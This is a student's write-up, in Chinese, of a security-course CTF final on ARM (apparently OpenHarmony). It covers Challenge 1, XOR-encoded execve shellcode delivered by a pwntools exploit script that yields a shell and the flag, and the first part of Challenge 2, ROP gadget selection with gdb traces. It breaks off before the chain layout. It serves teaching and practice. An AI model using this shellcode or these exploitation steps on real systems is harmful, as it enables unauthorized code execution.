

# Final Test Breakdown

姓名：张凌铭

学号：3180103857

## Challenge 1 HarmShell

这题事实上就是考察ARM架构下的ShellCode代码编写，程序将输入作为代码来执行：

```
// camera_app.c
readstring(start);
printf("shellcode len:%d\n", strlen(start));
(*(void (*)(void))start)();
```

网上有很多现成的ShellCode，这里选择由<https://azeria-labs.com/writing-arm-shellcode/>提供的ShellCode代码：

```
00000000 <_start>:
0: e28f000c add r0, pc, #12
4: e3a01000 mov r1, #0
8: e3a02000 mov r2, #0
c: e3a0700b mov r7, #11
10: ef000000 svc 0x00000000
14: 6e69622f .word 0x6e69622f
18: 0068732f .word 0x0068732f
```

对汇编代码分析如下：

*add r0, pc, #12*：ARM架构使用寄存器传参，前4个参数会放入*r0 - r3*寄存器中。在这里，*r0*用于存放/bin/sh字符串的地址。值得一提的是，ARM架构的PC与x86有所不同，有效PC( *Effective PC* )指向当前执行的指令后的第二条指令，也就是说，为*PC + 8* (ARM状态)或者是*PC + 4* (Thumb状态)。因此，*PC + 12*在这里指向：

$$PC + \#12 = PC' + \#8 + \#12 = 0 + \#8 + \#12 = \#20 = 0x14$$

正好对应于存放字符串/bin/sh的起始地址。

*mov r1, #0*以及*mov r2, #0*：在这里通过*mov*指令将第二个和第三个参数置为0。

*mov r7, #11*：因为需要通过*execve()*系统调用来获取shell，该指令将对应的系统调用号存入*r7*寄存器。*r7*寄存器在ARM架构下用于保存系统调用时的系统调用号，*execve()*在ARM架构下的系统调用号为11。

*svc #0*：系统调用指令。

这样的shellcode对于本题来说还是不够的，因为本题会对输入的每一字节与0xaa做异或，所以我们的输入应该是shellcode与0xaa做异或后的结果。这就导致另一个问题，程序在识别到0x0a，也就是回车符后就会停止读入。而不幸的是，*mov r1, #0*生成的机器码包含0xa0：

$$0xa0 \text{ xor } 0xaa = 0x0a$$

因此，我们需要以等价的指令替换两条*mov*指令，这里采用*eor*异或指令清空*r1*和*r2*：

```
01 10 21 e0: eor r1, r1, r1
02 20 22 e0: eor r2, r2, r2
```

这样生成的shellcode不会受到0x0a的困扰。最后，需要将/bin/sh改为/bin/shell。(hint里也已提及)

编写的exploit.py如下：

```

from pwn import *

conn = remote("10.15.201.97", 10000)
conn.recvuntil("give me something to get shell!")
payload =
"\x0c\x00\x8f\xe2\x01\x10\x21\xe0\x02\x20\x22\xe0\x0b\x70\x81\xe2\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x65\x6c\x6c\x00"
shellcode = ""
for c in range(len(payload)):
    shellcode += chr(ord(payload[c]) ^ 0xaa)
# print(''.join(hex(ord(x))[2:] for x in shellcode))
conn.sendline(shellcode)
conn.interactive()

```

运行结果如下所示，本题的 *flag* 为 `ssec2021{5he1l_C0dE_iS_5till_c0oL|eb601c8d}`。

```

→ 01_harmshell python3 exploit.py
[+] Opening connection to 10.15.201.97 on port 10000: Done
[*] Switching to interactive mode

\x0c\x00\x8f\xe2\x01\x10\x21\xe0\x02\x20\x22\xe0\x0b\x70\x81\xe2\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x65\x6c\x6c\x00
shellcode len:1
OHOS # $ cd etc
cd etc
OHOS # $ ./flag.exe 3180103857
./flag.exe 3180103857
OHOS # You flag: ssec2021{5he1l_C0dE_iS_5till_c0oL|eb601c8d}
$
OHOS # $

```

## Challenge 2 HarmROP

对于第二题而言，首先要面对的问题是，虽然程序本身会给出一些关键函数或者寄存器的值，但当我们通过 `conn.recv()` 来接受这些值的时候，我发现返回的值类似于 `b"0x21b81c4"` 而非 `b"\xc4\x81\x1b\x02"`，因此设计了转换函数 *bytestohex* 如下：

```

def bytestohex(bt):
    temp = b""
    for i in range(0, len(bt)-1, 2):
        tmp_value = 0
        if bt[i] >= 0x30 and bt[i] <= 0x39:
            tmp_value = bt[i] - 0x30;
        elif bt[i] >= 0x61 and bt[i] <= 0x66:
            tmp_value = bt[i] - 0x61 + 0x0A;

        if bt[i+1] >= 0x30 and bt[i+1] <= 0x39:
            tmp_value = tmp_value * 16 + bt[i+1] - 0x30;
        elif bt[i+1] >= 0x61 and bt[i+1] <= 0x66:
            tmp_value = tmp_value * 16 + bt[i+1] - 0x61 + 0x0A;

        temp += tmp_value.to_bytes(1, byteorder='little')
    return temp

```

处理逻辑比较简洁，比如针对 `b"21"`，就将其转换为 `b"\x21"`，最后将得到的新字节流转换为整数：

```

XXX = int.from_bytes(bytestohex(XXX), byteorder='big')

```

通过上述方式，我们能够得到一些关键信息，例如 *sp* 的值，*gift* 函数的地址等等。

接下来，*hear()* 函数和 *gift()* 函数将是第二题的重点，因为 *ROP* 链的构造依赖于 *hear* 的栈帧和 *gift* 中的 *ROP gadget*。

第一，我们需要知道 *hear()* 中的局部变量 *buf* 的基地址与程序中给定的 *sp* 的值之间的偏移。这点可以通过 *gdb - multiarch* 对程序进行调试跟踪获得：（当然直接查看源代码也可以）

```

pwndbg> b *0x21b81c4
Breakpoint 1 at 0x21b81c4
pwndbg> c
Continuing.

Breakpoint 1, 0x021b81c4 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
*R0 0xaa
*R1 0xab
*R2 0x21ba004 ← 0xab
*R3 0x0
*R4 0x79
*R5 0x1fa5f64c ← ldrbl r0, [sp, #-0x65c]! /* 0xd57d065c */
*R6 0x21b821c ← push {r2, r3, r4, r5, fp, lr} /* 0xe92d483c */
*R7 0x3ee48f4c ← 0x0
*R8 0x3ee48f44 → 0x3ee48fe6 → 0x050d0163 ← 0
*R9 0x3ee48fd0 ← 0x21 /* '!' */
*R10 0x1fa5f650 ← 1
*R11 0x3ee48da8 ← 0x0
*R12 0x0
*SP 0x3ee48d98 → 0x79e49f4c ← 0
*PC 0x21b81c4 ← push {r4, sl, fp, lr} /* 0xe92d4c10 */
[ DISASM ]
0x21b81c4 push {r4, sl, fp, lr}
0x21b81c8 add fp, sp, #8
0x21b81cc sub sp, sp, #0x28
0x21b81d0 ldr r4, [pc, #0x3c]
0x21b81d4 ldr r4, [pc, r4]
0x21b81d8 ldr r0, [r4]
0x21b81dc str r0, [fp, #-0xc]
0x21b81e0 ldr r0, [pc, #0x30]
0x21b81e4 add r0, pc, r0
0x21b81e8 bl #0x21b8480 <0x21b8480>

[Init] start service bundle daemon succeed, pid 5.
[UnRegisteDeathCallback : 960]Wrong cbId:4294967295.
[UnRegisteDeathCallback : 960]Wrong cbId:4294967295.
[Init] start service media server succeed, pid 6.
iniparser: cannot open /storage/data/cameradev.ini
open sys: Permission denied
[CameraVbInit]-168: HI_MPI_SYS_Exit failed 0xa0028010!
system init failed with -1!
Media server initialize failed.
[Init] SigHandler, SIGCHLD received.
[Init] start service appspawn succeed, pid 7.
[UnRegisteDeathCallback : 960]Wrong cbId:4294967295.
[UnRegisteDeathCallback : 960]Wrong cbId:4294967295.
OHOS # [Init] start service shell succeed, pid 8.
[Init] DoChown, failed for 0 99 /dev/hdfwflf, err 2.
[Init] main, entering wait.

OHOS # cd bin
OHOS # ./camera_app
camera_app.bck camera_app
OHOS # ./camera_app
OHOS # ----- [ ZJUSSEC final ] -----
The addr of hear is: 0x21b81c4
The addr of gift is: 0x21b8154
The addr of execve is: 0x1fa2e254
The addr of stack is 0x3ee48d98
[?] Are you smiling right now? (y/n)
y
[ ] Your answer is: y\0000+>
[+] Fine, I just want you to be happy. :)
[!] here is a gift for smiling: d57d065c

```

```

[ REGISTERS ]
*R0 0x0
*R1 0x1e
*R2 0x0
*R3 0x0
*R4 0x1fa5f64c ← ldrbl r0, [sp, #-0x65c]! /* 0xd57d065c */
*R5 0x1fa5f64c ← ldrbl r0, [sp, #-0x65c]! /* 0xd57d065c */
*R6 0x21b821c ← push {r2, r3, r4, r5, fp, lr} /* 0xe92d483c */
*R7 0x3ee48f4c ← 0x0
*R8 0x3ee48f44 → 0x3ee48fe6 → 0x050d0163 ← 0
*R9 0x3ee48fd0 ← 0x21 /* '!' */
*R10 0x1fa5f650 ← 1
*R11 0x3ee48d98 → 0x3ee48da8 ← 0x0
*R12 0x0
*SP 0x3ee48d60 → 0x3ee48fd0 ← 0x21 /* '!' */
*PC 0x21b81ec ← add r1, sp, #4 /* 0xe28d1004 */
[ DISASM ]
0x21b81d8 ldr r0, [r4]
0x21b81dc str r0, [fp, #-0xc]
0x21b81e0 ldr r0, [pc, #0x30]
0x21b81e4 add r0, pc, r0
0x21b81e8 bl #0x21b8480 <0x21b8480>
0x21b81ec add r1, sp, #4
↓
0x21b81f4 mov r2, #0x34
0x21b81f8 bl #0x21b8490 <0x21b8490>
0x21b81fc ldr r0, [r4]
0x21b8200 ldr r1, [fp, #-0xc]
0x21b8204 subs r0, r0, r1

```

从上述两图中可以得到的结论是：1. 程序打印的 $sp$ 的值恰好就是刚进入函数 $hear$ 时的 $sp$ 值。2. 当在函数 $hear$ 中调用 $read$ 时，第二个函数参数，也就是 $r1$ 被设置为 $sp + \#4$ ，此时 $sp$ 的值为 $0x3ee48d60$ ，那么偏移量为：

$$0x3ee48d98 - 0x3ee48d64 = 0x34$$

既然程序给出了 $sp$ 的值，我们就能通过偏移得到 $buf$ 的基地址，从而得到字符串 $/bin/shell$ 的基地址。

其次，考虑构建 $ROP$ 链的过程，我们需要 $ROP\ gadget$ 和 $execve()$ 系统调用的入口。好在函数 $hear()$ 完全能满足我们的要求，在函数 $hear$ 中，我挑选了两个 $ROP\ gadget$ ：

```

# stack_push gadget
sub sp, sp, #0x10
pop {pc}
# pop gadget
pop {r0, r1, r2, pc}

```

$execve()$ 系统调用的入口由程序直接给出。上述两个 $ROP\ gadget$ 的地址是通过计算偏移得到的。通过给出的 $hear$ 函数地址，以及通过 $objdump$ 得到的 $hear$ 函数的偏移量，能够计算得到程序基地址 $base\_addr$ 。那么， $ROP\ gadget$ 的地址可以通过如下方式得到：

$$gadget\_addr = base\_addr + gadget\_offset$$

最后，给出我所构造的 $ROP$ 链在 $stack$ 上的排布：

( $canary$ 的值由程序直接给出)

